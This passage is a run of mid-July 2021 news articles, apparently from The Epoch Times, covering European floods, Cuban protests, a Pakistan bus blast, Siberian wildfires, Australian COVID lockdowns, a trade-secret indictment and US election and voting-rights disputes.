We see this kind of situation only in winter ordinarily, Bernd Mehlig, an environment official from North Rhine-Westphalia, the most affected region, told WDR. Something like this, with this intensity, is completely unusual in summer.

Parts of Hagen were described as being isolated by high waters and all but inaccessible. Soldiers had to be sent to clear some areas of the city. Residents were also told to leave one district of the regional capital Duesseldorf, a major business center.

One old peoples home in Hagen had to be evacuated, while across the region firemen were busy pumping out hundreds of cellars. In one hospital, floodwaters caused elevators to fail.

The fireman died when he lost his footing in floodwaters and was swept away, authorities told WDR. Two men, aged 53 and 81, were missing elsewhere in the region.

By Thomas Escritt
One Person Killed Amid Protests in Cuba

First confirmed death in largest protest in country in decades

A man has been killed amid nationwide protests in Cuba, authorities confirmed on Tuesday.

The Ministry of the Interior of Cuba said in a statement that it mourns the death of 36-year-old Diubis Laurencio Tejeda.

This marks the first confirmed death in the largest protest the communist-ruled country has seen in decades.

Tejeda died on Monday while taking part in a clash between protesters and police in the Arroyo Naranjo municipality on the outskirts of Havana, according to the official statement.

Others were arrested and injured, including some officers, but the Cuban regime did not specify how many people were affected.

In the statement, the regime claimed that demonstrators were vandalizing houses, setting fires, and damaging power lines. It also accused protesters of having attacked police and civilians with knives, stones, and other objects.

The state-run Cuban News Agency reported that organized groups of antisocial and criminal elements had tried to reach the suburb of La Guineras police station, seeking to attack its officials and damage the building.

Protests erupted in multiple cities across Cuba on Sunday with citizens calling for greater freedoms and an end to the communist dictatorship.

Cubans protested against ongoing shortages of food and other goods, high prices, and power cuts, amid a deep economic crisis in the country, made worse by pandemic-related lockdowns.

Shouts of down with the dictatorship, freedom, and homeland and life were heard during the demonstrations, according to footage uploaded online.

According to The Associated Press, protesters gathered at rallying points shared on popular social media platforms such as Twitter and Facebook. Authorities then began shutting down Internet services in some cities on Sunday afternoon to prevent dissidents from broadcasting the protests live, the news agency reported.

Global Internet monitoring firm NetBlocks reported that Cuba has restricted access to social media and messaging platforms including Facebook, Instagram, WhatsApp, and Telegram since Monday. Cuba was accused of having adopted China-made technology systems to control and block Internet access.

The Associated Press and Reuters contributed to this report.
People wheel a gurney toward an ambulance outside a hospital in Dasu, Pakistan, after a bus with Chinese nationals on board plunged into a ravine in Upper Kohistan following a blast on July 14, 2021, in this still image taken from video. (Reuters/Reuters Tv)

Pakistan Bus Blast Kills 13, Including 9 Chinese Nationals

An explosion on a bus killed 13 people in northern Pakistan on July 14, including nine Chinese nationals, in what Beijing says was a bomb attack but Islamabad is calling a vehicle failure.

Two Pakistani soldiers also were among the dead after the explosion sent the bus into a ravine, local government and police sources told Reuters.

Chinese engineers and Pakistani construction workers have been working on hydroelectric projects for several years as part of Beijings Belt and Road Initiative in the western province of Khyber-Pakhtunkhwa, where the blast occurred.

Chinas embassy in Pakistan confirmed that nine of its nationals died in the incident. Terming the explosion a bomb attack without offering more details, the Chinese foreign ministry offered condolences and urged both a thorough investigation and protection of its personnel and projects.

Pakistans foreign ministry said a mechanical failure caused a gas leak, which led to the explosion.

However, the provinces top police official, Inspector General Moazzam Jah Ansari, told Reuters earlier that foul play was suspected.

Looks like sabotage, he said.

A senior administrative officer of the Hazara region, who asked not to be identified, said the bus was carrying more than 30 Chinese engineers to the Dasu dam in Upper Kohistan.

Billions in Investment

The Dasu hydroelectric project is part of the China-Pakistan Economic Corridor (CPEC), a $65 billion investment plan aiming to link western China to the southern Pakistani port of Gwadar.

This is clearly an act of terrorism that has been carefully planned and was supported by information, reads an editorial in Global Times, a Chinese tabloid run by the ruling Communist Partys official Peoples Daily, calling the incident the most serious attack on Chinese nationals in recent years.

Chinese nationals working in Pakistan have been attacked previously, particularly in the southwestern province of Balochistan, where separatist militants have waged an insurgency against authorities in a state where China has developed mines and a port.

The separatists have also attacked the Chinese consulate in the southern city of Karachi. Islamist militants have previously targeted Chinese nationals as well.

Using an air ambulance, rescuers took the injured, including the Chinese engineers, to a hospital in Dasu, about 10 km (6 miles) from the blast site, authorities said.

Police and the bomb disposal squad are at the site, regional official Arif Khan Yousufzai said outside the hospital, noting that an investigation would take place to ascertain details.

Pakistans foreign ministry said it was in close contact with the Chinese embassy in Islamabad, noting in a statement: Pakistan attaches great importance to the safety and security of Chinese nationals, projects, and institutions.

By Jibran Ahmad and Yew Lun Tian
Pastor Lucas Miles: How the New Christianity Movement Has Altered Religion

A new Christianity movement spreading across the United States has altered religion to fit changing standards on morality, according to Lucas Miles, pastor and author of The Christian Left.

Miles told EpochTVs Crossroads that the growing phenomenon of churches in the United States following progressive policies and drifting from standards that they used to hold is part of a long trend that goes back several centuries.

I think the more concerted efforts for this we see this start happening in the 1700s. There was an individual named Henri de Saint-Simon, who basically invented a religion, and he called it new Christianity  after his death, he had some disciples that picked this up.

Henri de Saint-Simon was a utopian socialist who considered the welfare of a country proportionate to its number of workers. He advocated the death of the rich, who he believed to be parasites.

Saint-Simon wrote that the new Christianity, or Nouveau Christianisme, encompassed the belief that the whole of society ought to strive towards the amelioration of the moral and physical existence of the poorest class; society ought to organize itself in the way best adapted for attaining this end.

I actually did some work tracing this as far as [Karl] Marx being impacted by some of his thoughts, Miles said. It was really sort of some early critical race theory [CRT] essentially, or at least critical theory in generalthat God had favorites, and that favorite was the oppressed class, you know, a lot of the same things that we hear today from Marxists and from critical theorists today.

CRT espouses the idea that race is not natural, but socially constructed to oppress and exploit minorities, and is an offshoot of the quasi-Marxist critical theory social philosophy.

So its interesting when you look back to see that  something like this has been going on for a really long time, that we are seeing a relationship between progressive thought and Christianity leading the church away from really a biblical Judeo Christian mindset, Miles added.

Miles made reference to the arrest of pastors who held church services during the height of the COVID-19 pandemic in Canada and the United States as an example of soft totalitarianism creeping in.

For example, Canadian pastor James Coates was charged in February with breaking Albertas COVID-19 rules and refusing to comply with his conditions of release. It came after GraceLife church in Edmonton was fined CA$1,200 ($950) in December 2020 when it hosted more people than the 15 percent limit mandated by the Alberta public health measures for faith-based services.

The church was then issued a closure order in January, but Coates, the churchs pastor, continued holding services and was charged with one count of breaking the Public Health Act.

This is something that should be really established within our Bill of Rights and within our constitutional framework, that we have the right to freedom of religion, that we have the ability to meet. A pandemic shouldnt change that, Miles added.
Pennsylvania Sen. Mastriano Invited Biden to Meet, Discuss Election Audit

In anticipation of President Joe Bidens Tuesday visit to Philadelphia to discuss voter rights, Pennsylvania state Senator Doug Mastriano, a Republican, sent a letter requesting a meeting with Biden to discuss a full audit of Pennsylvanias 2020 election.

Millions of Pennsylvanians have serious doubts about the accuracy of the 2020 general election, Mastriano said in the letter to Biden. A January poll from Muhlenberg University showed that 40% of Pennsylvania voters are not confident that the results of the 2020 election accurately reflected how Pennsylvanians voted.

Bidens speech is planned to be held at the National Constitution Center. Mastriano was asked via email, phone calls, and social media if Biden or his administration responded to his letter, but Mastriano did not respond.

An audit is a way to address everyones concerns, the letter says.

Those who have concerns about the integrity of the election will have those concerns investigated and hopefully addressed, the letter said. Those who think that there was zero voter fraud, no irregularities, and that the elections were conducted perfectly will have the chance to be vindicated.

Mastriano formally invited Biden to meet and indicates Bidens support in this matter would be meaningful to voters.

We need to come together, the letter said. A transparent forensic audit investigation of the 2020 election in Pennsylvania will go a long way to restore trust in our system.

Bidens visit comes less than a week after Mastriano, chair of the Intergovernmental Operations Committee, sent letters to election officials in three Pennsylvania counties, Philadelphia, York, and Tioga, requesting a long list of items and information to be used as evidence in a forensic analysis of the 2020 election.

Since the committees intention to investigate the election was announced, Democrats at every level of state government have lashed out in opposition using a new catchphrase: the Big Lie.

While some Republicans may be scoring victories with the Big Lie in other states, let me assure youtheyre not winning here in Pennsylvania, tweeted Democratic Pennsylvania Attorney General Josh Shapiro Tuesday.

Shapiro is likely to run for governor, having said in news reports he expects to be a candidate. Mastriano is also a possible candidate, although neither has made an official announcement.

Gov. Tom Wolfs communication team posted comments about an audit several times this week on Wolfs Facebook and Twitter feeds, calling the Republican efforts attempts to disrupt Pennsylvanias elections by compromising voting systems with a counting scheme and bypassing the legislative process with a reckless constitutional amendment.

In another post on Wolfs social media, Mastriano is called out for being present at the Capitol on Jan. 6.

Six months after he was at the U.S. Capitol insurrection, one of our lawmakers is attempting to launch a sham election audit in PA. This is a disgrace to democracynot to mention a profound waste of time and taxpayer money. I wont stand for it, Wolfs Facebook post said.

Pennsylvania Department of State Acting Secretary Veronica Degraffenreid has warned county boards of elections not to provide access to examine their voting systems.

If counties do allow access, the voting equipment will be no longer be considered secure for future elections, she said in a statement. The equipment would be decertified and counties would be forced to buy new equipment.

Mastriano responded in a statement Monday, calling the Department of States reaction a threat.

The authority of such a directive from the acting secretary is  in question as she has yet to go before the Senate to be officially confirmed, Mastriano said. The inclination of the acting secretary to act outside the scope of her constitutional powers is deeply concerning and will certainly be considered during her confirmation process.

The Intergovernmental Operations Committee has given counties until July 31 to define how they will comply with the request, including a timeline for providing the election equipment.
A fire truck drives across a forest burnt by wildfire towards to the settlement of Zapasnoye in Chelyabinsk Region, Russia, July 12, 2021. (Alexey Malgavko/Reuters)

Planes Dump Water on Siberian Wildfires as Residents Plead for Help

Russias army sent firefighting planes on Tuesday to battle huge wildfires that have blanketed Siberian towns in thick smoke as residents complain of being suffocated in a region known for its frozen tundra that is now sweltering under a heatwave.

With flames tearing across some 800,000 hectares (1.98 million acres) of Russian forest, the hardest-hit region of Yakutia in the north has been in a state of emergency for weeks.

Fires in Russias central Chelyabinsk region, meanwhile, last week killed one man and destroyed dozens of village homes.

Were suffocating, our lungs are being poisoned by acrid smoke, reads one of two online petitions by Yakutias residents addressed to President Vladimir Putin. They are asking for more equipment and forces to combat the fires.

Russia has seen its annual fire season become more ferocious in recent years, with unusually high temperatures across the northern Siberian tundra.

This year, temperatures have already hit new record highs.

The fire risk has seriously flared up across practically the entire country because of the abnormal heatwave, Defense Minister Sergei Shoigu told a meeting on Tuesday. The most difficult situation is in Yakutia.

On Tuesday, more than 2,600 firefighters were battling blazes in Yakutia, which has borne the brunt of huge forest fires in recent years.

Putin ordered the defense ministry to assist local authorities, while the army deployed several water-dropping Ilyushin Il-76 aircraft to douse the flames from the sky, Shoigu said, without specifying exactly how many aircraft were sent.

The Siberian fires have raised fears about the permafrost and peatlands thawing, releasing carbon long stored in the frozen tundra.

Meanwhile, ash from the fires could blanket nearby snow cover, turning it dark so that it absorbs more solar radiation and warms even faster.

Heatwave

While fires rage through forests, the country has struggled under a heatwave that has broken several temperature records in western Russia. Moscow roasted at 33.1 degrees Celsius, its hottest June 13 in 85 years.

In Siberia, the city of Yakutsk hit 35C at one point; the regions city of Verkhoyanskseen as one of the coldest places on earthsaw temperatures of over 30C, the state weather forecast agency said.

The temperature is really high, 810 degrees higher than the norm. Its really unusual for the temperature to be over 30 degrees towards the north, the agencys head of science, Roman Vilfand said at a briefing.

He said the temperature should fall in the coming 78 days with rain also increasing, factors that should slightly reduce the risk of new fires sparking though they might not stop existing fires from spreading.

Similar conditions in parts of Canada and the U.S. Pacific Northwest have also lead to wildfires.

Reuters contributed to this report.
Pope Francis Arrives at Vatican 10 Days After Surgery

ROMEPope Francis was discharged from a Rome hospital and returned home to the Vatican on Wednesday, 10 days after undergoing planned surgery to remove half his colon.

Francis sat in the passenger seat of the Ford car, which left Romes Gemelli Polyclinic around 10:45 a.m. local time.

As his small motorcade approached a side entrance to the Vatican, the Ford stopped and Francis got out with the help of a bodyguard. He greeted some Italian security guardstwo army soldiers standing guard and a handful of Italian police motorcycle escortsand got back in the car, which then entered the Vatican through the Perugino gate.

Pope Francis stops to greet police that escorted him as he arrives at the Vatican after leaving the hospital on his Ford, Rome, July 14, 2021. (Riccardo De Luca/AP Photo)

Francis had half of his colon removed for a severe narrowing of his large intestine on July 4, his first major surgery since he became pope in 2013. It was a planned procedure, scheduled for early July when the popes audiences are suspended anyway and Francis would normally take some time off.

Francis will have several more weeks to recover before beginning to travel again in September. There are plans for him to visit Hungary and Slovakia in a Sept. 1215 trip, and then make a quick stop in Glasgow, Scotland, in November to participate in the COP26 climate conference. Other possible trips are also under review.

The Vatican had originally said Francis could be discharged last weekend, but later said he would stay a few days extra for further recovery and rehabilitation therapy.

The pope appeared for the first time in public since the surgery on Sunday, looking in good form as he delivered his weekly prayer from the 10th floor hospital balcony, surrounded by young cancer patients. He used the occasion to call for free health care for all.

On Tuesday afternoon, the eve of his release, he visited the pediatric cancer ward, which is located on the same floor as the papal hospital suite.

The Argentine pope had part of one lung removed when he was a young man but has otherwise enjoyed relatively robust health.

By Nicole Winfield, Domenico Stinellis, and Gianfranco Stara
Nurses are seen conducting COVID-19 tests at the Bondi Beach testing clinic in Sydney, Australia on Nov. 4, 2020. (Lisa Maree Williams/Getty Images)

Regional Aussie City Confident COVID-19 Outbreak Contained

Authorities in the regional Australian city of Goulburn are confident they will contain any outbreak of the CCP virus stemming from the essential worker who tested positive on July 13, after it was revealed he did not venture out into the Goulburn community.

General manager of the Goulburn Shire Council, Warwick Bennett, told the Goulburn Post that the man, who is a contract painter from Fairfield, did not circulate in the community and was only working while infectious on July 9. He has been in isolation since July 10.

Fairfield is one of the worst-hit areas in the Sydney outbreak of the CCP (Chinese Communist Party) virus.

According to Bennett, the man had travelled in a car from Sydney to Goulburn and returned with three other men, who were also painters working on a $150 million redevelopment of the Goulburn Hospital.

He was pretty well working on his own in a section of the hospital, he said. He never went anywhere in Goulburn, and to our knowledge, he never left the hospital. Thats what hes told health authorities. We are very hopeful he didnt have close contact with other contractors on the site.

The mans three travelling companions have all returned negative COVID-19 tests at this time.

However, the mans case has raised the issue of essential workers from COVID hotspots travelling to the regions.

Goulburn Mayor Bob Kirk questioned how a painter was an essentials worker.

How is a painter an essential worker who qualifies for an exemption (to travel from southwest Sydney to the region? Kirk said. If this was needed so badly, surely we could have found a local. I dont accept that just because hes working on the hospital, theres a need to travel outside those hotspotsObviously, the definition is too loose.

The Goulburn Council raised its concerns with the NSW government on July 13, which resulted in the Berejiklian government issuing a public health order (pdf) that all workers from the areas of Greater Sydney who are working outside of the affected area must now take part in surveillance testing three times a week.

The Southern NSW Local Health District reported late on July 13 that the hospital was now open and operating unaffected. It also noted that and that no other exposure sites in Goulburn had been identified.
Victor Avila in an interview with The Epoch Times at the Conservative Political Action Conference in Dallas, Texas. (Screenshot via The Epoch Times)

Retired ICE Agent: Surge in Human Smuggling and Crime Due to Cartels That Benefitted From Open Border Policy

Mexican cartels have benefitted from the Biden administrations open-border policy, contributing to more human smuggling across the border and the crime surge in American cities, according to Victor Avila, a retired special agent with the U.S. Immigration and Customs Enforcement (ICE) and Homeland Security Investigations (HSI).

Were having a crisis at the border, and the people that are benefiting are the organized crime and these cartels, which has spilled into the United States, Avila told The Epoch Times at the Conservative Political Action Conference in Dallas, Texas.

Ive seen [human smuggling and child trafficking] for many years. I rescued countless women and children from these horrific conditions of organizations that traffic women and children into the U.S. for sexual exploitation purposes, Avila continued. But right now, what were seeing is just an expansion of that because of the open borders policy under the Biden administration.

Border Patrol agents apprehend 21 illegal aliens from Mexico who had hidden in a grain hopper on a freight train heading to San Antonio, near Uvalde, Texas, on June 21, 2021. (Charlotte Cuthbertson/The Epoch Times)

President Joe Biden rescinded key border and immigration policies implemented by the Trump administration soon after taking office, most notably halting construction of the border wall construction and Remain in Mexico policy.

The Biden administration has repeatedly said the border is not open, with Vice President Kamala Harris saying they want to focus on the root causes of migration.

The cartels used to be drug cartels, Avila said. They used to deal with drug trafficking, but once they noticed that the humans pay a lot more money, they have taken over.

Avila said that individuals wanting to cross the southern border have to deal with the cartels and pay them a fee. And the individuals are not only from Mexico or Central America, but from all over the world.

I want people to think of the cartels not as a drug gang, not as a group. Think of them as Amazon, Avila added.

They have billions of dollars. Theyre highly sophisticated, highly organized. They have all the equipment, militarized weapons, thats how sophisticated they are, Avila said. Theyre headquartered in Mexico. But they function everywhere in the United States and 40 countries around the world.

Avila survived a violent ambush by a Mexican drug cartel when he was on assignment in Mexico in 2011. He suffered multiple gunshot wounds, and another special agent, Jaime Zapata, was killed in the ambush.

According to Avila, ICE operates not only in the United States. It has a presence in 76 countries around the world.

[The cartels] have terrorized not only the country of Mexico, but are killing our youth, Avila said, noting that the latest figure he saw was over 800,000 deaths due to fentanyl in the last seven years.

The crime surge that we see in the United States right now, a lot of it is attributed back to organized crime and the cartels, Avila continued. For gangs in Chicago, St. Louis, Maryland, who do you think they work with? Who do you think they work for?

The cartels. Because theyre pushing their product, the cartels are their president, making sure that their product is being sold, and the proceeds are getting back to them, Avila said.

Avila said that the cartels need to be designated as foreign terrorist organizations so the United States government can deal with them differently.

In his book Agent Under Fire, Avila pointed out that if the cartels are designated as foreign terrorist organizations, government agencies could seize their key assets and funds, support organizations that combat the cartels, eradicate the cartels efficientlygiving those who broke the law stiffer sentences, and the financial institutions would be barred from doing any businesses with cartels or their members.

It is out of control what was happening at the borderIve seen it firsthandand now its only getting worse, Avila said.
The U.S. Department of Justice is seen in Washington on June 11, 2021. (Kevin Dietsch/Getty Images)

Scientist Charged With Stealing Secrets From DARPA Laser Project to Benefit China

A former Corning Inc. scientist has been charged in connection with an alleged scheme to steal technology from a government-funded project he was working on and transfer it to China.

Wang Ji, 59, was indicted late last month by a federal grand jury in Rochester, New York, on charges of economic espionage, theft of trade secrets, and unlawful exports.

According to the recently unsealed indictment, Wang, who worked for the company from 1998 to 2019, was assigned as the lead scientist to work on a project initiated and partly funded by the Defense Advanced Research Projects Agency (DARPA). DARPA injected $16 million into the endeavor.

The aim of the project was to develop high-powered optical laser fibers that could be used to defeat hostile drones. Wang and his team were successful, boosting the power of fiber lasers by 1,000 times, according to the court document.

The information and technology produced by the project were trade secrets belonging to Corning and restricted for export under U.S. law, the government said.

Prosecutors allege that in July 2016, Wang, without permission, downloaded the DARPA project files, including information on the manufacture of the laser fibers, onto his personal drive. According to the indictment, Wang stole the information to use as a reference for a fiber laser business that he was seeking to set up in China, called QuantumWave.

At the time, Wang and an unnamed business partner were negotiating with several Chinese authorities in the northern megacity of Tianjin about establishing a laser fiber research and development company, according to the indictment. They sought $29 million in seed funding for the venture.

The two also expressed interest in starting an optical fiber lab in the city as part of a state-sponsored recruitment program, according to the document. Chinese state-sponsored recruitment plans have been criticized by U.S. officials who say they facilitate the transfer of U.S. technology and know-how to China.

According to the indictment, Wang and his partner once expressed to Chinese counterparts that the technology they sought to bring over was strictly controlled by the United States.

Prosecutors also allege that Wang carried export-controlled DARPA project data on his laptop on at least two trips to China in 2017.

Negotiations with the Chinese entities eventually failed, so in 2018, Wang and his partner approached a U.S. investor seeking about $15 million in funding to launch QuantumWave in the United States, according to the indictment. The proposal was to manufacture the same laser fiber developed by the DARPA project.

If convicted, Wang faces a maximum penalty of 20 years in prison and a fine of up to $5 million.

Corning, in a statement provided to local media, said it takes the protection and defense of its intellectual property very seriously and would monitor the case and cooperate with law enforcement.

Wangs attorney and the U.S. attorneys office for the Western District of New York didnt immediately respond to requests for comment.

This case is the latest in a string of federal prosecutions focused on the theft of U.S. intellectual property for the benefit of China.

In April, former Coca-Cola employee You Xiaorong was convicted of stealing trade secrets relating to the coating of beverage containers from U.S. companies. You then planned to use the technology to manufacture the coating for the global market.

In June 2020, Chinese professor Zhang Hao was found guilty of economic espionage and stealing wireless technology from U.S. companies for the benefit of the Chinese regime. The technology in question filters out unwanted signals in wireless devices, such as mobile phones and tablets, and has both consumer and military applications.
Senate Democrats Echo Bidens Claim of Attack on Voting Rights, While Republicans Defend State Reforms

Senate Democrats condemned recent state election reform laws as a tsunami of voter suppression and a declaration of open season on voting rights during a tense July 14 subcommittee hearing on proposals to federalize election law and regulation.

Officially, the hearing of the Constitution Subcommittee of the Senate Judiciary Committee was focused on two recent Supreme Court decisions that Democrats argue gutted two key sections of the 1965 Voting Rights Act (VRA).

The Shelby County, Alabama v. Holder, Attorney General case in 2013 was a 54 decision that limited Section Five of the VRA, which empowered unelected Department of Justice (DOJ) officials to pre-clear or deny proposed changes in election laws of specific Southern states to ensure they arent discriminatory.

In Brnovich, Attorney General of Arizona v. Democratic National Committee, a 63 decision announced July 1, the High Court upheld states authority to ban election practices such as ballot harvesting, in which political activists go to voters residences to collect ballots and take them to counting stations. Democrats argue the decision emasculated the VRAs Section 2 that gives private citizens standing to bring voting rights litigation.

But virtually all of the discussion centered on allegations of recent voter suppression and the adequacy of the Democrats two main voting rights legislative proposals versus Republican claims that recent election reforms in Arizona, Georgia, and other states enjoyed widespread public support regardless of ethnicity.

The S1/HR1 For the People Act effectively federalizes elections that are now state responsibilities, while the HR4 John Lewis Voting Rights Advancement Act is viewed by congressional Democrats as a substitute for S1/HR1 if the latter is rejected by Congress.

Sen. Richard Blumenthal (D-Conn.), the subcommittees chairman, condemned Republican opposition to bringing to the Senate floor the Democrats proposed S1/HR1 For the People Act.

If Republican opposition continues, Blumenthal warned, Senate Democrats will be forced to consider all of our options, including eliminating the filibuster. He was referring to changing Senate rulesfrom requiring 60 votes to end a filibuster to requiring a simple majority.

Sen. Patrick Leahy (D-Vt.), former chairman of the judiciary panel, told the hearing that the Supreme Courts Brnovich decision amounted to a declaration of open season on voting rights.

The subcommittee Democrats were echoing comments by President Joe Biden, who said during a July 13 speech at the National Constitution Center in Philadelphia, There is an unfolding assault taking place in America today, an attempt to suppress and subvert the right to vote in fair and free elections, an assault on democracy, an assault on liberty, an assault on who we are, who we are as Americans.

The gulf between Democrats and Republicans on voting rights issues was evident in an exchange between Sen. John Cornyn (R-Texas) and a hearing witness, Judicial Watch Senior Attorney T. Russell Nobile.

Cornyn, who was Texas attorney general prior to being elected to the Senate in 2002, pointed out that in Texas, we have 17 days of early, in-person voting. In Connecticut, [Blumenthals state], they have zero days of early, in-person voting.

Cornyn asked Nobile if those facts show Connecticut officials are suppressing minority voters.

In response, Nobile said that if Congress updated the VRAs formula for determining which states should be subject to pre-clearance by DOJ, New England would be patient zero, Massachusetts, Connecticut, all of them. The data shows racial disparities in voter registration is worse there than almost anywhere else in the country.

The CornynNobile exchange contrasted sharply with testimony from Janai Nelson, associate director-counsel of the NAACP Legal Defense and Education Fund, who claimed voter suppression metastasized alarmingly after the Shelby County decision.

In another telling exchange, Blumenthal asked Jose Garza, a San Antonio-based lawyer who represents minority voters challenging what they view as discriminatory Texas election regulations, to talk about reforms now being considered by the Lone Star States Legislature.

To begin with, the stated purpose of enacting these provisions is to avoid voter fraud, but theres been no evidence associated with that, Garza responded. He added that, historically, voting has been considered a privilege, not a right, in Texas.

But another witness, former Virginia Attorney General Ken Cuccinelli, pointed out that there have been 500 voter fraud prosecutions in Texas in connection with the 2020 and 2018 elections.

Sen. Ted Cruz (R-Texas), the ranking minority member of the panel, asked Cuccinelli how there could be so many voter fraud cases when Democrats tell us it never occurs under any circumstance anywhere in the universe.

Cuccinelli responded: Well, of course it has happened, and it goes both ways. In 2019, we re-ran a congressional race because of Republican operatives committing fraud in that race in North Carolina. He was referring to the 9th Congressional District race that was re-run in September 2019.

During his prepared testimony, Cuccinelli said public discussion of election reforms is greatly hindered by the hyperbolic and libelous rhetoric that each and every rule and procedure is not only an onerous restriction but is allegedly knee-jerkingly racist, because in America today it is easier to vote than ever before.

Congressional correspondent Mark Tapscott may be contacted at Mark.Tapscott@epochtimes.nyc.
A hangar and some of the parked small planes at the local airport of Locarno in Magadino, southern Switzerland were heavily damaged after a thunderstorm on July 13, 2021. (Ti-Press/Elia Bianchi/Keystone via AP)

Storms Cause Widespread Damage in Switzerland, Germany

BERLINHeavy summer storms caused widespread damage and flooding Tuesday in Germany and Switzerland, where an airport hangar partially collapsed in the southern town of Magadino.

Swiss police said several planes were damaged but nobody was hurt when the hangar roof gave way amid heavy rain and strong winds overnight.

Trees were blown onto roads and rail tracks in Zurich, causing travel chaos for commuters, while authorities warned that several rivers in Switzerland could burst their banks. Some Alpine passes were temporarily closed due to heavy snowfall.

In neighboring Germany officials warned of extreme storms on Tuesday in the Eifel region southwest of Cologne due to particularly heavy rainfall.

Persistent rain in recent days has swelled rivers and the Rhine is predicted to hit the first high-water mark on Thursday or Friday, triggering restrictions to shipping.

The wet weather has been welcomed by some forestry officials in Germany after three particularly dry summers in a row.

Heavy rainfall also hit the southern Netherlands, where flooding closed a highway close to the city of Maastricht.
Sydney COVID-19 Outbreak Moves Into Victoria

Victoria has recorded seven additional locally acquired coronavirus cases connected to the NSW outbreak.

Four of the new cases are residents on the third floor of the Ariele Apartments in Maribyrnong, which has been in lockdown since Monday night after a visit from infected removalists.

Among those cases is a man in his 60s, who subsequently infected his parents, aged 89 and 90.

The man also attended an AFL match between Carlton and Geelong on Saturday and Highpoint Shopping Centre on Friday.

COVID-19 Commander Jeroen Weimar urged anyone who has visited an exposure site or has symptoms to get tested.

The next two days are particularly critical, he told reporters on Wednesday.

We are right on the heels of this particular outbreak.

Some 200 residents of the Ariele Apartments were forced into 14 days of quarantine after a group of NSW removalists did a pick up at the complex on Thursday while infectious.

Weimar confirmed the three removalists, two of whom have tested positive, werent wearing masks, in a breach of their workers permit conditions.

The trio also did a drop off at a Craigieburn home the same day and visited several petrol stations and fast-food restaurants, which have been listed as tier-one exposure sites.

It is believed they slept in their trucks on Thursday night before travelling to SA.

A remaining new case is a man in his 30s who attended Coles Craigieburn at the same time as a member of a family who recently returned from Sydney infected with COVID-19.

Three members of the family flew into Melbourne on July 4, while a fourth drove back on Thursday.

The family had red zone permits to return to Victoria, meaning they have been required to self-isolate at home since their arrival.

One family member, however, visited Coles Craigieburn and a Metro petrol station in Broadmeadows, the latter a tier-one exposure site.

After initially testing negative when they first returned, all four have since tested positive for COVID-19.

The seven new cases will be included in Thursdays daily figures.

It comes as a war of words has broken out between the state and federal governments over financial support for NSW.

Prime Minister Scott Morrison on Tuesday announced a new federal support package following the COVID-19 outbreak in Sydney that has infected almost 700 people and claimed two lives.

The package will be jointly funded by the Commonwealth and NSW and offered to other states and territories if they have to impose extended lockdowns.

Premier Daniel Andrews office issued a statement on Tuesday night accusing the federal government of favouritism towards NSW.

It shouldnt take a crisis in Sydney for the Prime Minister to take action but we are seeing the same double standard time and time again. His job is not to be the Prime Minister for NSW, the statement read.

Treasurer Josh Frydenberg told ABCs 7.30 program people were sick of Mr Andrews whingeing and his politicking of the crisis.

Weve put in place a system with NSW that can be extended and expanded to other states should they incur a lengthy lockdown, he said.

Industry Support and Recovery Minister Martin Pakula stood by the Victorian statement on Wednesday.

What weve seen in regards to NSW are support and comfort  thats what shouldve happened here as well, rather than the extreme politicisation, the finger-pointing and the blaming that was going on from the federal government, he said.
People queue in their cars to get tested for COVID-19 at a pop-up testing clinic at Bondi Beach in Sydney, Australia on June 25, 2021. (Dean Lewins/AAP Image via AP)

Sydney Lockdown Extended By Two More Weeks

New South Wakes has recorded 97 new local COVID-19 cases, prompting the government to extend a lockdown in Greater Sydney and its surrounds by at least two more weeks.

The stay-at-home provisions, which were scheduled to end on Friday, will now remain in place until at least July 30.

The states schools will also continue with online learning.

Of the 97 new locally acquired COVID-19 cases recorded in the 24 hours to 8 p.m. on Tuesday, at least 31 were in the community during part or all of their infectious period.

(Thats) what we need to get down to as close to zero as possible, Premier Gladys Berejiklian told reporters on Wednesday.

Restriction settings across regional NSW remain unchanged.

It comes after the state and federal governments on Tuesday afternoon revealed an extensive financial support package.

The state government expanded a business grants program and will cut or defer payroll taxes for most companies, while workers who have lost eight or more hours a week as a result of the lockdown will be able to apply for up to $600 per week in federal support.

The increase in workers payments kicks in once a lockdown exceeds 21 days.

Berejiklian said an extension to lockdown provisions was inevitable given the extent of COVID-19 spread in the community.

She said the government would continue to prioritise aged care workers and teachers in southwest Sydney for vaccination.

Of course we want to see this lockdown end in a timely way  (but) well have that support for businesses, Berejiklian said.

There are currently 20 COVID-19 patients in NSW in intensive care, with four ventilated.

Meanwhile, thousands of essential workers in the citys southwest are struggling to get mandatory COVID-19 tests, with some waiting up to six hours.

People in the Fairfield local government area were on Tuesday waiting in their cars in queues stretching for kilometres to get tested at a showground.

The rush came after the state government announced new restrictions for essential workers who must now get tested every three days if they work outside the area.

Fairfield Mayor Frank Carbone said the new rules created bedlam at testing sites in the area.

Its chaos, Carbone told the Nine Network.

These are people that want to get tested, these are doctors and nurses, people that help our community, they work far and wide and these are essential workers.

The mandated plan, where people need to get tested two times a week, once every three days, was very badly thought out.

People who wanted to get tested but who could not afford to wait six hours in a queue had gone home, Carbone said.

I dont think (the government) understood the magnitude of it and I dont think they understood the amount of essential workers we have in Fairfield, he said.

Anyone from Greater Sydney travelling to the regions for work must be tested weekly, but these workers have until Saturday before the order is policed.

Meanwhile, NSW Health has flagged 30 more venues of concern visited by people with COVID-19.

Two people have died  a man in his 70s and a woman in her 90s  talking the NSW tally to 57 and the national death toll to 912 since the pandemic began last year.
Tennessee Officials Deny Shuttering Child Vaccine Information Program

Health officials in Tennessee said on July 14 that they havent shut down a program that provides information about vaccinations to children.

There has been a lot of misinformation circulating regarding Tennessees vaccination efforts. To be clear, our vaccination efforts have not been halted, Bill Christian, a spokesman for the Tennessee Department of Health (TDH), told The Epoch Times via email.

The department says it hasnt shuttered the immunization program for children.

Tennessee has a long history of being one of the top programs in the nation when it comes to childhood immunization rates. In fact, for more than a decade, Tennessee has above 90 percent coverage of kindergarten students receiving childhood immunizations. We are simply taking this time to focus on our messaging and ensure our outreach is focused on parents who are making these decisions for themselves and their families, Christian said.

Dr. Michelle Fiscus, who was the states director of vaccine-preventable disease and immunization, was fired earlier this week.

In a statement released online after the firing, Fiscus said she asked the departments lawyers whether she could note to the public that, according to case law, minors between the ages of 14 and 17 could be vaccinated without parental consent. After being told she could promote the case law, she did so on social media, but quickly received pushback from state legislators.

What has occurred in the time between the release of this memo and today, when I was terminated from my position as medical director of the vaccine-preventable diseases and immunization program at the Tennessee Department of Health, can only be described as bizarre, Fiscus wrote, claiming that leadership in the department has halted ALL vaccination outreach for children.

